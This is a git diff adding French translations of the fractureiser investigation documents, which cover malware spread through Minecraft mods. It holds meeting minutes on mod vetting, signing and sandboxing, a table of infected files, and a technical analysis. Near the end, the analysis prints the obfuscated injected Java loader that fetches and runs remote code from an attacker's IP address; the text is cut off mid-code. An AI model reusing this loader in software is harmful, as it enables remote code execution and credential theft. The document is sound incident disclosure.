diff --git a/.gitignore b/.gitignore index d76783a..7288f46 100644 --- a/.gitignore +++ b/.gitignore @@ -1,5 +1,10 @@ # Exclude obsidian config .obsidian/ +.vscode/ + +# Exclude WebStorm config + +.idea # Remove OS-specific stuff .trash/ diff --git a/lang/fr-FR/README.md b/lang/fr-FR/README.md new file mode 100644 index 0000000..3ccc99d --- /dev/null +++ b/lang/fr-FR/README.md @@ -0,0 +1,50 @@ +
+ +
+ +*Excusez-nous pour le rangement, la documentation est toujours en cours* +> (*Note de traduction: les informations relevant du jargon technique sont potentiellement faussées, merci de me corriger si tel est le cas*) + +## Quoi ? +`fractureiser` est un [virus](https://fr.wikipedia.org/wiki/Virus_informatique) trouvé dans plusieurs projets Minecraft publiés sur les sites CurseForge et BukkitDev. Le malware est inclus dans de multiples mods, certains faisant partis de modpacks très populaires. Le malware semble n'attaquer que Windows et Linux. + +Si aucune vérification n'est faite, fractureiser peut être **EXTRÊMEMENT DANGEREUX** pour votre ordinateur. Merci de lire ce document et d'y trouver les informations pour que vous restiez protégé. + +Nous avons nommé ce logiciel fractureiser par rapport au nom du compte CurseForge qui a publié les fichiers malveillants les plus importants. + +## Ce que vous devez savoir + +### [Joueurs modés, CLIQUEZ ICI](docs/users.md) + +Si vous êtes simplement un joueur avec mods et non un développeur, le lien ci-dessus est tout ce dont vous avez besoin. Il contient des informations succinctes sur les effets du logiciel, les étapes à suivre pour vérifier si vous l'avez et comment le supprimer ainsi qu'une FAQ. + +Ceux souhaitant s'intéresser en profondeur peuvent avoir accès à +* [Chronologie des événements](/docs/timeline.md) +* [Étude technique](/docs/tech.md) + +### Je n'ai jamais utilisé de mods Minecraft +Vous n'êtes pas infecté. + +## Status actuel de l'investigation +Nous avons une idée assez claire de comment fractureiser fonctionne, des étapes 0 à 3. Il y a certaines parties +encore floues, mais les serveurs utilisés par l'attaqueur sont hors ligne et, à notre connaissance, de nouvelles infections sont impossibles. D'anciennes peuvent encore être actives. + +Nous travaillons en ce moment pour améliorer les informations dédiées aux utilisateurs. + +## Réunion de suivi +Le 08/06/2023, la fractureiser Mitigation Team a tenu une réunion avec des acteurs actifs de la communauté pour discuter de mesures préventives et solutions pour les futurs problèmes de cette ampleur. +Reportez-vous à [cette page](docs/2023-06-08-meeting.md) pour l'ordre du jour et le résumé de la réunion + +## Informations additionnelles + +Si vous avez des fichiers révélateurs sur ce malware, publié les sur https://wormhole.app et envoyez par mail l'URL à fractureiser@unascribed.com — tout ce qui y sera envoyé sera partagé avec le reste de l'équipe. Si vous avez besoin prendre contact, envoyez un mail à jaskarth4@gmail.com. + +Si vous copiez des portions de ce document quelque part, *s'il vous plait* mettez un lien renvoyant vers ce [répertoire GitHub](https://github.com/fractureiser-investigation/fractureiser) prêt du début pour que tous puissent avoir les dernières mises à jour et entrer en contact avec l'équipe. + +Le **seul** salon public officiel que vous pouvez rejoindre sans y être invité personnellement qui est *géré par la même équipe qui a écrit ce résumé* est [#cfmalware sur le serveur IRC EsperNet](https://webchat.esper.net/?channels=cfmalware). **Rejoindre un salon IRC exposera votre adresse IP.** + +Ne demandez pas d'échantillons. Si vous avez de l'expérience et des références, c'est très bien, mais nous n'avons aucun moyen de les vérifier sans utiliser une grande partie du temps limité de notre équipe. Le partage d'échantillons de logiciels malveillants est dangereux, même entre personnes qui savent ce qu'elles font. + +--- + +\- La [fractureiser Mitigation Team](/docs/credits.md) diff --git a/lang/fr-FR/docs/2023-06-08-meeting.md b/lang/fr-FR/docs/2023-06-08-meeting.md new file mode 100644 index 0000000..e472413 --- /dev/null +++ b/lang/fr-FR/docs/2023-06-08-meeting.md @@ -0,0 +1,299 @@ +# Réunion de Fractureiser Mitigation, le 08/06/2023 + +> (*Note de traduction: les informations relevant du jargon technique sont potentiellement faussées, merci de me corriger si tel est le cas*) + +Ordre du jour et compte rendu de la réunion du 80/06/2023 sur ce qui peut arriver et comment l'éviter + +Dans l'intérêt de garder cette réunion productive, nous avons invités un petit groupe de membres de la communauté, principalement des personnes travaillant sur les répertoires de mods, et les personnes qui ont aidé à organiser la réponse à l'incident. + +## Enregistrement + +La réunion a été enregistrée et éditée pour inclure les identifiants des intervenants. Vous pouvez regarder l'enregistrement sur [YouTube](https://www.youtube.com/watch?v=L52Hu334Q90) ou [PeerTube](https://tube.sleeping.town/w/c48e7df1-cf9b-43d2-84a8-4bce404ee836) (en anglais). + +## Quand + +08/06/2023 16h00 UTC + +## Invités + +Organisateurs de la réunion : + +- Emi (premier intervenant, organisateur) +- Jasmine (organisateur) + +Secrétaire de la réunion : + +- williewillus (journaliste de l'incident ; Violet Moon) + +Membres de la communauté (par ordre alphabétique): + +- Adrian (Modrinth) +- cpw (Forge) +- Doctor Oyster (Chef de l'Équipe gérant la Communauté Overwolf) +- Emma (Modrinth) +- Fury (CEO d'Overwolf) +- gdude (Quilt) +- Geometrically (Modrinth) +- IMS (CaffeineMC) +- Jared (BlameJared Maven) +- kennytv (PaperMC) +- Mikey (FTB) +- modmuss (Fabric) +- Slowpoke (FTB) +- Starchild (Quilt) +- timoreo (Prism Launcher) +- ZekeZ (Prism Launcher) + +## Sommaire de l'Incident et Réponse + +(Cette partie sert majoritairement pour les participants ayant besoin de se mettre à jour - elle n'a pas besoin d'être lu à voix haute) + +`fractureiser` est un nouveau virus auto répliquant qui a infecté des plugins Bukkit, des mods Forge, Fabric et les fichiers JARs de Minecraft. Les JARs Infectés, dès leur lancement, vont s’exécuter normalement, mais télécharger une série de "payloads" volant les jetons de connections, mots de passe/moyens de payement sauvegardés dans les navigateurs, et des cryptomonnaies. Après qu'un ordinateur ai été infecté, tous les fichiers JAR sur l'appareil sont injectés d'une telle manière que s'ils sont partagés et lancés sur un autre ordinateur, l'infection s'étendra. Des comptes CurseForge compromis ont été utilisé pour gagner l'accès à des projets de mods connus et distribuer des JARs infectés aux utilisateurs. + +Des discussions et réponses à ce problème ont commencé tôt le 6 juin. Des échantillons ont été découverts, identifiés et décompilés. La source des "payloads" qui propagent le virus et volent les mots de passe/jetons a été identifié et rapidement supprimé par son hôte, Serverion. Les JARs infectés ne peuvent plus progresser ou propager le virus, mais les infections avant que le nœud soit supprimé peuvent toujours être actives. + +Au moment de l'écriture, des échantillons continuent d'être décompilé dans l'espoir que si les attaquants tentent de créer une nouvelle itération du virus, ses nœuds de commandes et contrôles puissent être supprimé aussi rapidement que possible. Le 7 juin, l'attaquant a tenté de créer un nouveau nœud, qui a été rapidement supprimé par son hôte. Une URL web pointant vers ce nœud maintenant défunt a été trouvé, et est activement surveillé. + +## Ordre du jour + +Nous avons environ une heure, donc nous allons passer 15 minutes sur chaque sujet maximum. J'ai organisé les sujets selon la probabilité qu'une action soit réalisable d'après moi (williewillus). Plus quelque chose est réalisable, plus il est bas. Si le temps nous contraint, nous pourrons abandonner ces sujets. + +### Système de Vérification Opaque / Sécurité par l'Ignorance + +#### Sujets et Actions à aborder + +- Que *fait* CurseForge/Modrinth quand il vérifie un mod ? + - Insérer le meme "what do you do here" :) +- Quelles vérifications automatiques *sont* effectuées ? + - ? +- Quelles vérifications automatiques *devraient* être effectuées ? + - Analyse statique ? + - Pouvons-nous demander aux répertoires de mods de respecter ces plans d'action ? +- À moitié hors contexte : Peut-on avoir un algorithme de hachage autre que MD5 sur CF, s'il vous plait ? Cela fait plusieurs années que MD5 est cassé, ne rien faire nous fait juste attendre pour une attaque par collision + - Qu'est-ce qu'utilise Modrinth ? + +Résumé :\ +*Note de traduction : dû à la traduction, les mots peuvent ne pas être une traduction exacte des pensées de la personne, nous avons fait de notre mieux* + +Fury : CEO d'Overwolf. Eng travaille sur les mesures d'atténuations, donc je suis là. + Concernant les contrôles, d'un point de vue élevé, nous ne pouvons pas être entièrement transparent car des personnes pourraient trouver des moyens de les éviter. Je comprends que l’ambiguïté est difficile, je vais partager le maximum possible. + Tous les mods sont vérifiés automatiquement. Des vérifications manuelles sont effectués sur certains. + Techniquement, on commence par exécuter des analyses antivirus/antimalware. On vérifie la structure du fichier. + L'API supporte actuellement SHA-1. + Plus d'améliorations côté client pour mettre en œuvre ce principe d'une manière positive. + Des vérifications manuelles sont effectués quand une vérification automatique trouve quelque chose, un humain vérifie le mod. + Le processus évolue continuellement, les tests automatiques ont été mis à jour pour vérifier cette vulnérabilité. + +Emi : Passons à Modrinth pour garder tout cela rapide + +Geo/Jay : Créateur de Modrinth. Notre modération est assez fiable. + Nouveau projet : Vérification manuelle. Vérification de la description, des images. Vérification du code source aussi, surtout pour les nouveaux auteurs/auteurs inconnus. + Dans le cas d'un mod dont le code source n'est pas public, on décompile occasionnellement les mods, mais très peu souvent. + Vérification en backend pour la structure du fichier. + Les virus dans des mods Minecraft ne sont quasiment jamais détectés par les antivirus. + Nous savons que ce processus n'est pas parfait. Après la vérification initiale, nous comptons sur les rapports pour les mises à jour. + S'appuie sur la confiance de la communauté (auteur connu), mais cette confiance est aussi imparfaite. + +Emi : Quand vous vérifiez les mods ayant leur code source public, vérifiez-vous que les sources correspondent au fichier ? + +Geo : Non, mais nous pourrions faire quelque chose où les utilisateurs fournissent leur code source pour un badge "vérifié", comme ce que fait npm depuis peu. Ce n'est peut-être pas le plus idéal. + +Emi : Quel hash est utilisé par Modrinth ? + +Geo : Nous utilisons SHA-1/SHA-512, disponible dans l'API. Le launcher que nous faisons les valide. Nous avons rehashé tous les fichiers en SHA-512 il y a un an. + + + +### Compilations reproduisibles + +Une chose qui pourrait aider dans la partie "scan pour mods modifiés" de la réponse, serait si nous savions si une version spécifique d'un mod ne peut avoir qu'un seul fichier compilé possible. Il s'agit de compilation reproduisible avec le code source. Nous pourrions simplement recompiler le mod en question depuis les sources, prendre son hash, et le comparer au fichier suspicieux pour détecter les infections de l'Étape 0, plutôt que de devoir faire l'exercice difficile qu'est scanner pour une signature dans le code. + +Combien de mods ont des plugins dans leurs scripts de compilations avec des dépendances en `-SNAPSHOT` ? + +Je suis prêt à parier que tous, car les examples de [Fabric](https://github.com/FabricMC/fabric-example-mod/blob/1.20/build.gradle#L2) et +[Forge](https://github.com/MinecraftForge/MinecraftForge/blob/1.19.x/mdk/build.gradle#L4) +font exactement ça. + +Dans un premier lien, les plugins Gradle tel que Loom et ForgeGradle faisaient ça pour pouvoir publier des fixs et les appliquer rapidement sans action de l'utilisateur, mais il devient important que nous puissions avoir un contrôle certain. + +Les attaques de la chaîne via des répertoires Mavens hackés est un vrai danger. + +#### Sujets et Actions à aborder + +- Ne plus utiliser `-SNAPSHOT` dans les examples et les documentations en faveur de versions fixes +- Mettre à jour le fabric-example-mod et l'exemple du MDK de Forge pour utiliser la vérification et/ou le bloquage du hachage de Gradle + - https://docs.gradle.org/current/userguide/dependency_verification.html + - C'est juste une approche basique où on écrit les hashes dans un fichier et on vérifie s'il s'agit du bon hash + - https://docs.gradle.org/current/userguide/dependency_locking.html + - C'est une restriction pour obliger à utiliser une version spécifique à moins qu'on dise de mettre à jour et non une plage de version telle que `[1, 2)` +- Mettre en place un groupe de travail dans Loom/FG pour étudier les compilations reproductibles lorsque le flag gradle est activé. Il peut y avoir du nondéterminisme introduit par des parties de la chaîne d'outils de modding comme les remappeurs de jar. Chaque cas doit être résolu de manière à ce qu'un mod se construise de manière reproductible dès sa sortie. +- Idée folle : Comme F-Droid, soumettre les sources et les faire compiler par le repo ? + - La capacité étant coûteuse, il est peu probable que cela se produise. + +Starchild: Pour Quilt, l'un des problèmes est la signature. Nous ne pouvons pas reproduire une signature. + +willie: Mais si la signature est distribuée séparément, tout devrait bien se passer ? + +Geo: Nous ne pouvons jamais être sûrs à 100 %. Nous pouvons passer beaucoup de temps à examiner chaque fichier. Une chose importante est l'accessibilité. Beaucoup de gens ne savent pas comment fonctionne Gradle et ce que sont les compilations reproductibles. Il existe des modèles de modélisation, mais même la signature de code est difficile pour les développeurs mobiles. Nous recevons des milliers de soumissions par jour. + +Fury: Nous suggérons aux auteurs qui choisissent de se soumettre à des vérifications supplémentaires d'apposer une étiquette sur leur mod pour que les joueurs puissent le voir afin d'accroître la confiance. + +### Mods téléchargeants des fichiers externes + +Les mods téléchargeants des fichiers externes contenant du code executable sont vulnérables a des attaques par chaîne d'approvisionnement. + +Quelques exemples de mods utilisant cette méthode. + +- [Essential](https://modrinth.com/mod/essential) + - Les mods se mettant a jours automatiquement sans en informer l'utilisateur. Si les serveurs d'update d'Essential sont compromis, le code malveillant serait téléchargé au lancement du jeux. +- Les dépendeances de mods pour [owolib](https://modrinth.com/mod/owo-lib), tels que [gadget](https://modrinth.com/mod/gadget) + - Vas demander a l'utilisateur de télécharger owo-lib, cela téléchargera le fichier jar de modrinth. Si un fichier malveillant est ajouté a modrinth avec la bonne version, on se retrouve a nouveau face a une attaque par chaîne d'aprovisionnement. + +Si un mod populaire, tel qu'Essential, venais a être compromis, cela permetrait a des malwares de se propager rapidement a des millions d'utilisateurs. + +#### Sujets a aborder + +- Les mods sur les plateformes (modrinth, curseforge, etc.) peuvent-ils télécharger des fichiers contenant du code executable provenant de sources externes ? + - Je pense que non, mais comment l'empêcher? Lancer le jeux avec le mod et vérifier s'il ne télécharge rien de nouveau dans le dossier mods ? + +Fury: Effectuer une vérification manuelle quand on apercoit ce pattern. + +Willie: Mais il est possible d'ajouter du code malicieux plus tard. + +Fury: Regarder la réputation de l'auteur et quelques autres atributs de sécuritée. + +Starchild: Pas vraiment pour le bannisement de téléchargement de fichiers depuis l'internet. Quelques cas ou l'utilisation serait légitime. On pourais indiquer sur la plateforme que le mod télécharge des fichiers externes. On peut avoir des politiques d'utilisations tel que 'doit forcément passer par du https', etc. + +Willie: Clarification: Je parlais de téléchrager du code, et non pas des données. + +Lambda: TODO(j'ai manqué la première partie) Quilt a une proposition pour les téléchargements de dépendances. Plus généralement seulement permettre des téléchargements pré-déclarés (ex : avec un hash). Bien que nous permetions a des mods de le faire, cela restera toutefois suspicieux. + +### Signature du code + +Les artéfactes binaires déposés sur les répertoires de mods devraient être signés par leur auteur. + +Des templates et des documents d'aide par exemple Fabrix Loom et ForgeGradle devraient rendre leurs experience utilisateur aussi facile que possible. + +- Créer les releases en CI +- Signer les fichiers jars en CI au moment du build +- Télécharger les jars signés sur les repos en CI + +Déplacer les releases en CI est déja plus que ce que font la plupart des modeurs (la plupart ne tag même pas leurs releases). Gardez en tête que la plupart des modeurs sont des programeurs amateurs n'ayant pas travaillé en industrie et ne connaisant rien a tout cela. + +Je ne peut pas a quel point il est important que tout soit bien documenté, facile, et prêt a l'emploit. Ou bien personne ne l'utilisera. + +Les répertoires devraient éventuellement néscésiter une signature pour chaque upload et rejeter chaque artéfacte non signé. Cela aura besoin d'une période d'adaptement, et requiert un matériel pédagogique de qualité. + +#### Sujets a aborder + +- Où les clés publiques doivent-elles être conservées et associées à leurs auteurs ? En d'autres termes, qu'est-ce qui empêche un hacker de remplacer une clé publique et le binaire signé en même temps ? + - Sur le compte d'utilisateur modrinth (derière une autentification a 2 facteurs)? + - Sans un compte d'organisation, cela pourait être génant dans le cas de mods déposés par plusieurs personnes ? + - Si modrinth est compromis, un hacker peut remplacer la clé publique et en umploader une nouvelle en même temps +- Signatures PGP ou le jarsigner de java ? + - PGP est le standard utilisé pour Maven Central. Mes impressions sont que personne n'utilise les choses spécifiques a java. La signature OpenSSH est aussi une option mais c'est plus récent et il n'y a pas d'écosystème établit. PGP est probablement le meilleur choix, malheureusement. Nous pouvont automatiser toutes les parties désastreuses du processus avec des helpers dans les plugins Gradle. +- Forge a un support pour les signatures depuis des années et il n'a pas été utilisé. Que pouvons-nous en apprendre ? +- Les lanceurs devraient probablement inclure des éléments d'interface utilisateur pour indiquer l'état de la vérification de la signature du mod. +- Suivit immédiat. + - Modrinth et CurseForge conçoivent le fonctionnement de l'association/stockage des clés publiques. + - les modloaders écrivent une documentation complète sur la facon de procéder : + 1. Créer des versions en CI en utilisant les tags git + 2. Signer et télécharger automatiquement des artéfacts a partir de CI + +Emi: Cela ne néscésite pas un procéssus complet + +Starchild : Que voulons nous prévenir, et ou ? Les répertoires des mods peuvent associer une clé avec l'utilisateur et la demander lors du dépot de fichiers, mais une vérification peut toujours se produire dans le modloader. + +Jasmine: J'ai récement déposé des fichiers sur Maven Central qui demande une signature du code. Le processus n'était pas particierement difficile grace aux buildscripts, la partie la plus compliquée a été de trouver la documentation. + +Emi: Un participant sans micro demande: Pourquoi signer le code ? La raison principale est surtout pour identifier. + +cpw: J'ai codé pour Forge, cela fait environ 10 ans. Il aurait pu détécter l'étape 0 et probablement l'étape 3 si la signature n'était pas dépouillée. probablement l'étape 3 si la signature n'avait pas été supprimée. Nous voulions que les gens le fassent. La plupart des gens de Forge utilisent les empreintes digitales, qui aparaissent dans les journeaux de débogage, etc. pour distribuer la confiance. Un moddeur peut dire que son *propre* jar est bon, mais pas l'utilisateur. Cela nécessite une autorité de confiance dans l'écosystème minecraft. La mise en place d'un tel système est complexe. Le seul acteur viable est Curseforge et modrinth, puisqu'ils suivent déja les choses que vous avez besoin de suivre. A propos de la signeature sur les répos, le faire coté client ? Il est trop tard pour faire cela. Si l'entièretée de l'écosystème etait signée, nous pourions revoir la question. + +Emi: Est-il possible d'avoir un CA controlé en colaboration? Ajouter 2 étapes semble un peut trop. + +cpw: Tu peut signer avec plusieurs CA a la fois, ce n'est donc pas nécessaire. + +furr: Nous pouvons regarder pour faire quelque chose + +cpw: Si vous vous engagez a faire cela, c'est génial :) + +Geo: IMO serait le meilleur su un tiers de confiance le fait. Différentes plateformes ont différentes politiques. Modrinth est intéréssé par ceci aussi mais il faut etre cautioneux. + +Emi: Serait tu près a travailler avec CurseForge pour déveloper un CA tiers ? + +Geo: Oui. Tout le monde devrait mettre leurs différent de coté s'il en est de la sécuritée, bien que Modrinth n'ai pas été afecté, il l'est indirectement depuis. + +cpw: Ca serait cool de voir les coses bouger après 10 ans + +### Bac a sable + +L'isolation du processus de minecraft est une autre stratégie de défense pouvant etre utilisée affin de limiter le rayon d'effet d'ataques provenant de code malicieux. + +En général, c'est un problème compliqué. + +Minecraft ne devrait avoir accès qu'a(u) : + +- Internet, pour s'autentifier, se conectr aux serveurs, etc. +- Dossier `.minecraft` et ce qui se trouve a l'interieur. + +La chose principale a bloquer est l'accès aux fichiers système. + +Sous Windows, il n'y a pas l'air d'avoir de moyens faciles de déployer un système d'isolation (autre que "Jouer a minecraft Bedrock"). Le plus proche serait [model](https://chromium.googlesource.com/chromium/src/+/master/docs/design/sandbox.md) de chromium, qui pourait réduire les modifications intrusives du jeux. + +Sur macOS, on *pourait* utiliser le système d'isolation `built in` d'Apple connu sous le nom de ["seatblet"](https://www.chromium.org/developers/design-documents/sandbox/osx-sandboxing-design/). c'est déja obligateoire sur l'apple store, mais pas pour les aplications externes comme Minecraft. Cependant il n'est pas possiblie de l'utiliser affin de restreindre l'accès en réseau de certains sites. +Ci dessous se trouve une image montrant les configuration des permitions pouvant être utilisées pour restreindre les accès. CEla pourait s'avérer etre assez pour limiter les malwares et des ataques. +![image](/docs/media/sandboxfile.png) + + +Sur linux, nous avons plusieurs options. la première étant SELinux/AppArmor. Ces frameworks ont la réputation d'être extrêmement difficiles a configurer et par conséquent, n'a pas été largement déployé. +Cependant, les politiques que nous recherchons sont plutot simples, il est donc probable que nous nous tournions ver ceci plus tard. + +Dans le jargon d' OpenBSD, tout ce que l'on veut est d' [`unveil(2)`](https://man.openbsd.org/unveil) a tout les chemins de l'instance a la racine, malheureusement cette interface n'est pas disponible sous Linux. + +Deuxième option, l'utilisation d'un système tel que Flatpak. + + +timoro: Le fait d'executer du code non vérifié est toujours dangereux, qu'importe l'isolement utilisé. L'isolement est toujours le dernier recour. Nous avons un Flatpack de Prism(launcher) qui est isolé et privé de beaucoup d'accès. Ca a empécher cette ataque spécifique. CMais ça peut etre difficile, ex. vous pouvez penser a restreindre l'accès au micro, mais, et si un mod rajoutant un chat vocal en a besoin ? On a besoin de restreindre l'accès mais de donner de la libertée aux modeurs. Linux a beaucoup de techniques, permetant de restreindre aproximativement tout et nimporte quoi. + +ZekeZ: Le principal problème est Windows et macOS, surtout Windows. + +Emi: Beaucoup de mods pouraient etre impactés, restreindre l'accès a des fichiers système peut poser problème pour des mods demandant une configuration globale indépendament de l'instance. + +ZekeZ: Quel etait le problème avec EMI ? + +Emi: Il existe une option utilisateur permettant de stocker des éléments dans ~/.minecraft au lieu de celui local à l'instance. + +--- + +Récapitulatif + +kennytv: Bonjour de la part de Paper. Nous avons notre propre repo pour les plugins. par contre nous serions intéressés par un scanner pour identifier les logiciels malveillants actuels. Il y en a beaucoup ces temps ci. Concernant la signature, Sponge l'avait également pendant un certain temps. Ils ont essentiellement abandonné cette fonctionnalité car les utilisateurs ne savaient pas comment l'utiliser. Il est très difficile de faire comprendre aux novices son fonctionnement + +Lambda: Nous aimerions voir du mod hosting pour ajouter plus d'A2F Ou seulement permettre aux API/CI de déposer des fichiers. ca peut être un peut contraignant mais ça permetrait d'eviter de se faire f=voler ses tokens. Actuelement, neous ne savont pas si Modrinth a une A2F. CurseForge en a mais seulement pour les payements. Nous voudriont voir ceci s'étendre plus loins. + +Geo: Nous travaillions sur un système d'A2F avant que tout cela ne commence. Cela permettra également l'utilisation de jetons ciblés (ex: des bulds non signés uniquement a partir du jeton, des builds signés uniquement a partir de ce jeuton). l'A2F présente une faille, a savoir que le token de session est toujours vulnérable. Nous prévoyons de lancer de nouvelles fonctionalités d'autentification dans quelques semaines. + +Emi: Pour rappel, les contributeurs de LPS (Luna Pixel Studios) avaient l'A2F d'activé. + +willie: J4apuie les points sur les builds, les signatures, les realeases **En CI** + +Geo: Une chose que les plateformes font est une checkliste générale lorsque un projet est upload pour la première fois. Sur Modrinth nous avons un guide pour litéralement tout. Quand nous avons ajouté des descriptions et des icones aux nouvelles checklists, la quantitée dde checklist a fait un bond. + +Emi: Publication CI récemment mise en place. J'ai simplement copié un autre fichier de flux de travail Github. Ce n'est pas maintenable. + +Lambda: Nous devont héberger le Maven BlammeJared avec de nombreux projets. Il faut encourager les gens a utiliser l'intégration continue autant que possible. Le kit de dévelopement par défaut ne publie que l'artéfact, pas de source. Nous avons besoin de plus d'exemples et de guides pour configurer Jenkins etc. + +willie: les actions GH sont plus faciles pour les débutants non ? + +Jared: Je ne suis pas familier avec les actions GH en ce moment. Tout les fichiers sur mon maven sont compilés locallement, je ne sais pas comment du remote publishing marcherais. + +Emi: POur beaucoup de mods, Maven n'est pas strictement néscésaire. Il est possible d'utiliser CurseMaven ou le maven de Modrinth. C'est pratique pour les mods qui ne s'exposent pas intentionelement en tant qu'API. + +willie: La plupart des mods sont des mods 'feuille' qui n'ont pas besoin de Maven + +Jared: CurseMaven n'est pas une option sur le long terme. Personne ne l'a remarqué mais CurseGradle a été retiré de Github. sa source a disparue. Personne ne l'a vu ou n'en a parlé. + +willie: c'est un résumé des actions à entreprendre globalement. + +Furry: Merci a tous. Overwolf s'est dévelopé avec les années. Certains d'entre vous nous ont contactés et nous ont donné des informations importantes. Si vous avez d'autres informations, n'hésitez pas a nous contacter, cela aiderais beaucoup. diff --git a/lang/fr-FR/docs/credits.md b/lang/fr-FR/docs/credits.md new file mode 100644 index 0000000..3362acf --- /dev/null +++ b/lang/fr-FR/docs/credits.md @@ -0,0 +1,15 @@ +## Crédits +Liste non exhaustive! Merci a tout le monde qui est passé aider. + +[**Emi**](https://github.com/emilyploszaj/): Coordination, découverte initiale (pour cette équipe), recherches au début, Organisation du meeting +[**Jasmine**](https://github.com/jaskarth/): Coordination, recherche, a écrit le décompileur que nous avont utilisé ([Quiltflower](https://github.com/QuiltMC/quiltflower/)) +[**unascribed**](https://github.com/unascribed/): Coordination de la documentation, controle de la foule, logo +[**williewillus**](https://github.com/williewillus/): Coordination, journaliste +[**Vazkii**](https://github.com/vazkii/): Documentation, communications +[**Col-E**](https://github.com/Col-E/): Reverse engineering, écriture du déobfuscateur que nous avons utilisé ([Recaf](https://www.coley.software/Recaf/)) +[**quat**](https://github.com/quat1024/): Documentation, recherche sur les échantillions infectés initiaux +[**cortex**](https://github.com/mcrcortex/): Reverse engineering +[**aurelium**](https://github.com/autumnaurelium/): Coordination, déobfuscation +[**D3SL**](https://github.com/D3SL/): Extensive reverse engineering, découverte précoce +[**Luna Pixel Studios**](https://lunapixelstudios.github.io/): Détection rapide de dépots non autorisés. +**Nia**: reverse engineering de l'étape 3 diff --git a/lang/fr-FR/docs/tech.md b/lang/fr-FR/docs/tech.md new file mode 100644 index 0000000..4046802 --- /dev/null +++ b/lang/fr-FR/docs/tech.md @@ -0,0 +1,368 @@ +# Informations techniques +> (*Note de traduction: les informations relevant du jargon technique sont potentiellement faussées, merci de me corriger si tel est le cas*) +## Distribution + +Certains modpacks ont recu des mises a jours sans que l'auteur ne soit au courant, ajoutant une dépendence sur des mods malveillants. Ces mises a jours ont été archivés imédiatement après l'upload, ce qui signifie *qu'ils n'aparaissent pas sur l'interface Web, seulement sur L'API.* + +Les Mods malveillants ont été upload il y a plusieures semaines. La plupart ont été uploadé +par un seul compte en utilisant des noms clairement autogénérés, ils sont surement le point de départ de l'infection. +Luna Pixel Studio a été compromis en raison d'un dévelopeur testant un de ces mods, comme c'etait un umpload +interessant. + +### Mods et plugins affectés recensés. + +Note: Cette liste est non exaustive. Elle a été construite durant les premiers jours de l'investigation et nous avons +vite réalisé que la taille de l'infection etait plus grande que ce que nous pensions, rendant la traque individuelle +inutille. Cette list reste ici pour des raisons historiques. + +Voir aussi la +[liste](https://support.curseforge.com/en/support/solutions/articles/9000228509-june-2023-infected-mods-detection-tool/) +des projets affectés publié par Curseforge. + +|mod/plugin|lien(s)|SHA1|"Uploader"| +|---|---|---|---| +|Skyblock Core|[www.curseforge.com/minecraft/mc-mods/skyblock-core/files/4570565](https://www.curseforge.com/minecraft/mc-mods/skyblock-core/files/4570565) |`33677CA0E4C565B1F34BAA74A79C09A3B690BF41`|Luna Pixel Studios| +|Dungeonz|[legacy.curseforge.com/minecraft/mc-mods/dungeonx/files/4551100 (removed)](https://legacy.curseforge.com/minecraft/mc-mods/dungeonx/files/4551100) |`2DB855A7F40C015F8C9CA7CBAB69E1F1AAFA210B`|fractureiser| +|Haven Elytra|[dev.bukkit.org/projects/havenelytra/files/4551105 (removed)](https://dev.bukkit.org/projects/havenelytra/files/4551105) [legacy.curseforge.com/minecraft/bukkit-plugins/havenelytra/files/4551105 (removed)](https://legacy.curseforge.com/minecraft/bukkit-plugins/havenelytra/files/4551105) |`284A4449E58868036B2BAFDFB5A210FD0480EF4A`|fractureiser| +|Vault Integrations|[www.curseforge.com/minecraft/mc-mods/vault-integrations-bug-fix/files/4557590 (removed)](https://www.curseforge.com/minecraft/mc-mods/vault-integrations-bug-fix/files/4557590)|`0C6576BDC6D1B92D581C18F3A150905AD97FA080`|simpleharvesting82| +|AutoBroadcast|[www.curseforge.com/minecraft/mc-mods/autobroadcast/files/4567257 (removed)](https://www.curseforge.com/minecraft/mc-mods/autobroadcast/files/4567257)|`C55C3E9D6A4355F36B0710AB189D5131A290DF26`|shyandlostboy81| +|Museum Curator Advanced|[www.curseforge.com/minecraft/mc-mods/museum-curator-advanced/files/4553353 (removed)](https://www.curseforge.com/minecraft/mc-mods/museum-curator-advanced/files/4553353)|`32536577D5BB074ABD493AD98DC12CCC86F30172`|racefd16| +|Vault Integrations Bug fix|[www.curseforge.com/minecraft/mc-mods/vault-integrations-bug-fix/files/4557590 (removed)](https://www.curseforge.com/minecraft/mc-mods/vault-integrations-bug-fix/files/4557590)|`0C6576BDC6D1B92D581C18F3A150905AD97FA080`|simplyharvesting82 +|Floating Damage|[dev.bukkit.org/projects/floating-damage (removed)](https://dev.bukkit.org/projects/floating-damage)|`1d1aaccdc13244e980c0c024610ecc77ea2674a33a52129edf1bb4ce3b2cc2fc`|mamavergas3001 +|Display Entity Editor|[www.curseforge.com/minecraft/bukkit-plugins/display-entity-editor/files/4570122 (removed)](https://www.curseforge.com/minecraft/bukkit-plugins/display-entity-editor/files/4570122)|`A4B6385D1140C111549D95EAB25CB51922EEFBA2`|santa_faust_2120 + +Darkhax a envoyé ceci: https://gist.github.com/Darkhax/d7f6d1b5bfb51c3c74d3bd1609cab51f + +potentiellement plus: Sophisticated Core, Dramatic Doors, Moonlight lib, Union lib + +## Étape 0 (jar infectés) + +Les mods ou plugins affectés ont une nouvelle méthode `static void` inséré dans leur classe principale, ainsi qu'un appel vers cette méthode inséré dans l'initialiseur de la class. Pour DungeonZ, la méthode s'appelle `_d1385bd3c36f464882460aa4f0484c53` et se trouve dans `net.dungeonz.Dungeonmain`. Pour skyblock Core, la méthode s'appelle `_f7dba6a3a72049a78a308a774a847180` et se trouve dans `com.bmc.coremod.BMCSkyblockcore`. Pour HavenElytra, le code est inséré directement dans l'initialiseur de `valorless.havenelytra.HavenElytra`. + +Le code est obfusqué, utilisant `new string(new byte[]{...})` au lieu de str litéraux. + +Dans l'échantillon de D3SL "Create Infernal Expansion Plus", une version plagiant "Create Infernat Expansion Compat" avec un malware inséré dans la classe principale: +```java +static void _1685f49242dd46ef9c553d8af1a4e0bb() { + Class.forName(new String(new byte[] { + // "Utility" + 85, 116, 105, 108, 105, 116, 121 + }), true, (ClassLoader) Class.forName(new String(new byte[] { + // "java.net.URLClassLoader" + 106, 97, 118, 97, 46, 110, 101, 116, 46, 85, 82, 76, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114 + })).getConstructor(URL[].class).newInstance(new URL[] { + new URL(new String(new byte[] { + // "http" + 104, 116, 116, 112 + }), new String(new byte[] { + // "85.217.144.130" + 56, 53, 46, 50, 49, 55, 46, 49, 52, 52, 46, 49, 51, 48 + }), 8080, new String(new byte[] { + // "/dl" + 47, 100, 108 + })) + })).getMethod(new String(new byte[] { + // "run" + 114, 117, 110 + }), String.class).invoke((Object) null, 